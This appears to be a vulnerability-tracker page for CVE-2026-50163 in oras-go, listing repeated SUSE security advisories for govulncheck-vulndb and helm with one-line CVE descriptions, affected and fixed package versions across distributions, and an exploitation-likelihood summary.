  • GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6
  • GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89
  • GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj
  • GO-2026-6073 CVE-2026-58435…
Record
SUSE-SU-2026:23216-1
Updated
2026-11-02
OSVSUSE-SU-2026:23227-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w
  • GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv
  • GO-2026-5048 GHSA-mx64-mj3q-7prj
  • GO-2026-5051
  • GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8
  • GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp
  • GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963
  • GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49
  • GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835
  • GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px
  • GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7
  • GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q
  • GO-2026-5309 GHSA-c3wq-j5vh-68rc
  • GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp
  • GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96
  • GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g
  • GO-2026-5408 GHSA-gx7w-56w6-g48x
  • GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx
  • GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr
  • GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j
  • GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88
  • GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9
  • GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6
  • GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g
  • GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475
  • GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j
  • GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj
  • GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w
  • GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7
  • GO-2026-5569 GHSA-q76j-gcg9-vxc6
  • GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv
  • GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8
  • GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6
  • GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2
  • GO-2026-5606 GHSA-r46f-3rpw-hxrv
  • GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh
  • GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v
  • GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg
  • GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5
  • GO-2026-5693 GHSA-w5pp-99ch-qj29
  • GO-2026-5730 GHSA-wwhq-w58m-w29c
  • GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5
  • GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857
  • GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg
  • GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2
  • GO-2026-5774 GHSA-3fxj-6jh8-hvhx
  • GO-2026-5775 GHSA-9g5q-2w5x-hmxf
  • GO-2026-5777 GHSA-rjr7-jggh-pgcp
  • GO-2026-5781
  • GO-2026-5841 GHSA-259r-337f-4rfw
  • GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv
  • GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp
  • GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7
  • GO-2026-5884 GHSA-vh4v-2xq2-g5cg
  • GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w
  • GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8
  • GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876
  • GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c
  • GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772
  • GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm
  • GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4
  • GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8
  • GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4
  • GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8
  • GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v
  • GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg
  • GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6
  • GO-2026-6061 GHSA-hrxh-6v49-42gf
  • GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q
  • GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf
  • GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5
  • GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p
  • GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26
  • GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m
  • GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2
  • GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh
  • GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6
  • GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89
  • GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj
  • GO-2026-6073 CVE-2026-58435…
Record
SUSE-SU-2026:23227-1
Updated
2026-11-02
OSVSUSE-SU-2026:23973-1 No score

Security update for helm

This update for helm fixes the following issues:

  • CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE (bsc#1265758).
  • CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin (bsc#1261939).
  • CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin provenance verification (bsc#1261935).
  • CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart (bsc#1261938).
  • CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).
  • CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled configuration (bsc#1265428).
  • CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to exfiltrate credentials and refresh tokens (bsc#1270127).
  • CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).
  • CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).
  • CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).
  • CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families (bsc#1281426).
  • CVE-2026-56855: golang.org/x/crypto/ssh: prevent DoS on deadlocked established channel (bsc#1281426).
  • CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).
  • CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).
  • CVE-2026-78662: golang.org/x/crypto/ssh: prevent DoS on deadlocked undecided channel (bsc#1281426).
  • CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass allows log telemetry interception and alteration (bsc#1281468).
  • CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission (bsc#1281469).
  • CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network probing (bsc#1281112).
  • gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation (bsc#1276514).
Record
SUSE-SU-2026:23973-1
Updated
2026-11-02
OSVSUSE-SU-2026:23984-1 No score

Security update for helm

This update for helm fixes the following issues:

  • CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE (bsc#1265758).
  • CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin (bsc#1261939).
  • CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin provenance verification (bsc#1261935).
  • CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart (bsc#1261938).
  • CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).
  • CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled configuration (bsc#1265428).
  • CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to exfiltrate credentials and refresh tokens (bsc#1270127).
  • CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).
  • CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).
  • CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).
  • CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families (bsc#1281426).
  • CVE-2026-56855: golang.org/x/crypto/ssh: prevent DoS on deadlocked established channel (bsc#1281426).
  • CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).
  • CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).
  • CVE-2026-78662: golang.org/x/crypto/ssh: prevent DoS on deadlocked undecided channel (bsc#1281426).
  • CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass allows log telemetry interception and alteration (bsc#1281468).
  • CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission (bsc#1281469).
  • CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network probing (bsc#1281112).
  • gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation (bsc#1276514).
Record
SUSE-SU-2026:23984-1
Updated
2026-11-02
OSVSUSE-SU-2026:24282-1 No score

Security update for helm

This update for helm fixes the following issues:

  • CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE (bsc#1265758).
  • CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin (bsc#1261939).
  • CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin provenance verification (bsc#1261935).
  • CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart (bsc#1261938).
  • CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).
  • CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled configuration (bsc#1265428).
  • CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to exfiltrate credentials and refresh tokens (bsc#1270127).
  • CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).
  • CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).
  • CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).
  • CVE-2026-56854,CVE-2026-56855,CVE-2026-78662: golang.org/x/crypto/ssh: authentication bypass and deadlocks in the crypto/ssh library (bsc#1281426).
  • CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).
  • CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).
  • CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass repeat index validation and cause a process crash (bsc#1283642).
  • CVE-2026-81870: OpenTelemetry-Go: Information disclosure via exporter (bsc#1284104).
  • CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass allows log telemetry interception and alteration (bsc#1281468).
  • CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission (bsc#1281469).
  • CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network probing (bsc#1281112).
  • gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation (bsc#1276514).

Changes for helm:

  • update to 4.3.0:
  • feat: Add duration functions
  • feat(engine): add debug logging when lookup returns empty
  • feat: add ownership verification before deleting resources
  • feat: honor SOURCE_DATE_EPOCH for chart archives
  • feat(rollback): add --description flag to provide rollback reason
  • fix (internal/plugin): remove zero-width spaces from plugin name comment
  • fix(loader): do not drop values files ending at a 4096-byte boundary
  • fix(chart): normalize StampModTimes timestamp to UTC/truncate
  • Chart.lock reproducibility test
  • fix(provenance): support GnuPG keybox (pubring.kbx) keyrings
  • fix(template): regression - route registry messages to stderr in template and show
  • refactor: lower resync period from one hour to 3 minutes
  • perf: enable concurrent status computation to prevent multi-minute delays
  • fix: Improve error reporting for helm template --debug with --show-only- #31185
  • fix: fetch logs from all containers in test pods- #32099
  • fix(provenance): check error return in Digest and encodeRelease- #32136
  • fix panic on repeated IsReachable calls- #32184
  • fix: set [pull,push] scope when helm push to a registry(use token auth) - v4- #31211
  • Fix missing conflict retry with server-side apply- #32088
  • Properly format the extra field in gzipped…
Record
SUSE-SU-2026:24282-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
oras.land/oras-go/v2
Go
 through 2.6.1
2.6.2
golang-oras-oras-go
Debian:12
 All versions, plus listed versions
1.1.1-12.5.0-12.6.0-12.6.2-12.6.2-2
 None known
golang-oras-oras-go
Debian:13
 All versions, plus listed versions
2.5.0-12.6.0-12.6.2-12.6.2-2
 None known
golang-oras-oras-go
Debian:14
 before 2.6.2-1, plus listed versions
2.5.0-12.6.0-1
2.6.2-1
oras.land/oras-go/v2
Go
 before 2.6.2
2.6.2
oras.land/oras-go/v2
Root:Go
 before v2.6.1-aikido.1
v2.6.1-aikido.1v2.6.1-aikido.2v2.6.1-aikido.3v2.6.0-aikido.2
rootio-oras.land/oras-go/v2
Root:Go
 before v2.6.1-root.io.1
v2.6.1-root.io.1v2.6.1-root.io.2v2.6.1-root.io.3v2.6.0-root.io.2
govulncheck-vulndb
SUSE:Linux Enterprise Server 16.0
From an advisory covering 77 CVEs
 before 0.0.20260727T201416-160000.1.1
0.0.20260727T201416-160000.1.1
govulncheck-vulndb
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 77 CVEs
 before 0.0.20260727T201416-160000.1.1
0.0.20260727T201416-160000.1.1
helm
SUSE:Linux Micro 6.2
From an advisory covering 18 CVEs
 before 4.3.0-160000.1.1
4.3.0-160000.1.1
Show 12 moreShow less
Affected packages
PackageAffectedFixed
helm
SUSE:Linux Enterprise Server 16.0
From an advisory covering 18 CVEs
 before 4.3.0-160000.1.1
4.3.0-160000.1.1
helm
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 18 CVEs
 before 4.3.0-160000.1.1
4.3.0-160000.1.1
helm
SUSE:Linux Micro 6.1
From an advisory covering 20 CVEs
 before 4.3.0-slfo.1.1_1.1
4.3.0-slfo.1.1_1.1
golang-oras-oras-go
Ubuntu:24.04:LTS
 All versions, plus listed versions
1.1.1-1ubuntu1
 None known
golang-oras-oras-go
Ubuntu:26.10
 All versions, plus listed versions
2.6.0-12.6.2-1
 None known
golang-oras-oras-go
Ubuntu:26.04:LTS
 All versions, plus listed versions
2.5.0-12.6.0-1
 None known
oras
openSUSE:Tumbleweed
 before 1.3.3-2.1
1.3.3-2.1
helm
openSUSE:Tumbleweed
From an advisory covering 3 CVEs
 before 4.2.4-1.1
4.2.4-1.1
trivy
openSUSE:Tumbleweed
From an advisory covering 4 CVEs
 before 0.74.0-2.1
0.74.0-2.1
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 77 CVEs
 before 0.0.20260727T201416-160000.1.1
0.0.20260727T201416-160000.1.1
trivy
openSUSE:Leap 16.0
From an advisory covering 10 CVEs
 before 0.74.0-160000.2.1
0.74.0-160000.2.1
helm
openSUSE:Leap 16.0
From an advisory covering 18 CVEs
 before 4.3.0-160000.1.1
4.3.0-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-50163 is a high vulnerability (CVSS 7.1) in Oras-project Oras-go, published July 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 34th percentile. Fixed in oras.land/oras-go/v2 2.6.2.

References

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Left out here: the rest of 6 source descriptions. The JSON record has them.

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